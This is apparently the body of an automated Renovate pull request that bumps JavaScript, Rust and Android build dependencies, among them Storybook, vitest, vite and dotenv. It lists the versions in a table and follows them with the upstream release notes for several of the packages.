| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.8` -> `20.17.9`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.8/20.17.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.8/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.8/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.6/2.1.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [graphql-scalars](https://redirect.github.com/Urigo/graphql-scalars) | [`1.23.0` -> `1.24.0`](https://renovatebot.com/diffs/npm/graphql-scalars/1.23.0/1.24.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/graphql-scalars/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/graphql-scalars/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/graphql-scalars/1.23.0/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/graphql-scalars/1.23.0/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.26.0` -> `8.27.0`](https://renovatebot.com/diffs/npm/html-validate/8.26.0/8.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.26.0/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.26.0/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.2` -> `15.0.3`](https://renovatebot.com/diffs/npm/marked/15.0.2/15.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.2/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.2/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.20` -> `3.0.0-alpha.21` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.19` -> `3.0.0-alpha.20` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.19/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.19/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [nx](https://nx.dev) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx)) | [`20.1.3` -> `20.1.4`](https://renovatebot.com/diffs/npm/nx/20.1.3/20.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nx/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nx/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nx/20.1.3/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nx/20.1.3/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.73.1` -> `4.74.0`](https://renovatebot.com/diffs/npm/openai/4.73.1/4.74.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.73.1/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.73.1/4.74.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.0` -> `9.4.1`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.0/9.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.0/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.0/9.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.2` -> `15.1.3`](https://renovatebot.com/diffs/npm/react-i18next/15.1.2/15.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.2/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.2/15.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-virtuoso](https://virtuoso.dev/) ([source](https://redirect.github.com/petyosi/react-virtuoso)) | [`4.12.2` -> `4.12.3`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.2/4.12.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-virtuoso/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-virtuoso/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-virtuoso/4.12.2/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-virtuoso/4.12.2/4.12.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/storybook/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tinybench](https://redirect.github.com/tinylibs/tinybench) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/tinybench/3.0.6/3.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tinybench/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tinybench/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tinybench/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tinybench/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.1` -> `0.27.2`](https://renovatebot.com/diffs/npm/typedoc/0.27.1/0.27.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.1/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.1/0.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.1` -> `6.0.2`](https://renovatebot.com/diffs/npm/vite/6.0.1/6.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/vitest/2.1.6/2.1.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.7.2` -> `8.7.3` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.7.2/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.7.2/8.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.703.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37030-2024-12-02)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.701.0...v3.703.0)

##### Features

-   **client-s3:** Amazon S3 introduces support for AWS Dedicated Local Zones ([a4b4303](a4b43038cb))

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.42.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.42.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.41.0...8.42.0)

##### Important Changes

-   **feat(react): React Router v7 support (library) ([#&#8203;14513](https://redirect.github.com/getsentry/sentry-javascript/pull/14513))**

    This release adds support for [React Router v7 (library mode)](https://reactrouter.com/home#react-router-as-a-library).
    Check out the docs on how to set up the integration: [Sentry React Router v7 Integration Docs](https://docs.sentry.io/platforms/javascript/guides/react/features/react-router/v7/)

##### Deprecations

-   **feat: Warn about source-map generation ([#&#8203;14533](https://redirect.github.com/getsentry/sentry-javascript/pull/14533))**

    In the next major version of the SDK we will change how source maps are generated when the SDK is added to an application.
    Currently, the implementation varies a lot between different SDKs and can be difficult to understand.
    Moving forward, our goal is to turn on source maps for every framework, unless we detect that they are explicitly turned off.
    Additionally, if we end up enabling source maps, we will emit a log message that we did so.

    With this particular release, we are emitting warnings that source map generation will change in the future and we print instructions on how to prepare for the next major.

-   **feat(nuxt): Deprecate `tracingOptions` in favor of `vueIntegration` ([#&#8203;14530](https://redirect.github.com/getsentry/sentry-javascript/pull/14530))**

    Currently it is possible to configure tracing options in two places in the Sentry Nuxt SDK:

    -   In `Sentry.init()`
    -   Inside `tracingOptions` in `Sentry.init()`

    For tree-shaking purposes and alignment with the Vue SDK, it is now recommended to instead use the newly exported `vueIntegration()` and its `tracingOptions` option to configure tracing options in the Nuxt SDK:

    ```ts
    // sentry.client.config.ts
    import * as Sentry from '@&#8203;sentry/nuxt';

    Sentry.init({
      // ...
      integrations: [
        Sentry.vueIntegration({
          tracingOptions: {
            trackComponents: true,
          },
        }),
      ],
    });
    ```

##### Other Changes

-   feat(browser-utils): Update `web-vitals` to v4.2.4 ([#&#8203;14439](https://redirect.github.com/getsentry/sentry-javascript/pull/14439))
-   feat(nuxt): Expose `vueIntegration` ([#&#8203;14526](https://redirect.github.com/getsentry/sentry-javascript/pull/14526))
-   fix(feedback): Handle css correctly in screenshot mode ([#&#8203;14535](https://redirect.github.com/getsentry/sentry-javascript/pull/14535))

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.1 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.84 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.61 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 72.47 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 62.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 76.79 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.28 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.86 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.72 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.53 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.8 KB   |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.49 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.25 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.38 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.25 KB  |
| CDN Bundle                                                       | 24.32 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.29 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.15 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 77.49 KB  |
| CDN Bundle - uncompressed                                        | 71.45 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 110.76 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 223.83 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 237.05 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.78 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.14 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 135.08 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 97.13 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 109.43 KB |

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.4.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#846)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.4.5...v8.4.6)

-   Addon Test: Use pathe for better windows support - [#&#8203;29676](https://redirect.github.com/storybookjs/storybook/pull/29676), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Angular: Default to standalone components in Angular v19 - [#&#8203;29677](https://redirect.github.com/storybookjs/storybook/pull/29677), thanks [@&#8203;ingowagner](https://redirect.github.com/ingowagner)!
-   Frameworks: Add Vite 6 support - [#&#8203;29710](https://redirect.github.com/storybookjs/storybook/pull/29710), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Portable stories: Support multiple annotation notations from preview - [#&#8203;29733](https://redirect.github.com/storybookjs/storybook/pull/29733), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   React: Upgrade react-docgen-typescript to support Vite 6 - [#&#8203;29724](https://redirect.github.com/storybookjs/storybook/pull/29724), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Svelte: Support `@sveltejs/vite-plugin-svelte` v5 - [#&#8203;29731](https://redirect.github.com/storybookjs/storybook/pull/29731), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/coverage-istanbul)</summary>

### [`v2.1.8`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.8)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8)

#####    🐞 Bug Fixes

-   Support Node 21  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8)

### [`v2.1.7`](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7)

</details>

<details>
<summary>motdotla/dotenv (dotenv)</summary>

### [`v16.4.6`](https://redirect.github.com/motdotla/dotenv/blob/HEAD/CHANGELOG.md#1646-2024-12-02)

[Compare Source](https://redirect.github.com/motdotla/dotenv/compare/v16.4.5...v16.4.6)

##### Changed

-   Clean up stale dev dependencies [#&#8203;847](https://redirect.github.com/motdotla/dotenv/pull/847)
-   Various README updates clarifying usage and alternative solutions using [dotenvx](https://redirect.github.com/dotenvx/dotenvx)

</details>

<details>
<summary>Urigo/graphql-scalars (graphql-scalars)</summary>

### [`v1.24.0`](https://redirect.github.com/Urigo/graphql-scalars/blob/HEAD/CHANGELOG.md#1240)

[Compare Source](https://redirect.github.com/Urigo/graphql-scalars/compare/v1.23.0...v1.24.0)

##### Minor Changes

-   [`e5a3910`](e5a39101db)
    Thanks [@&#8203;ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu)! - add GeoJSON scalar

-   [`e5a3910`](e5a39101db)
    Thanks [@&#8203;ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu)! - Add \`CountryName\` scalar

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v8.27.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#8270-2024-11-30)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.26.0...v8.27.0)

##### Features

-   **api:** deprecate `Config.init()` ([d4b5987](d4b5987a92))
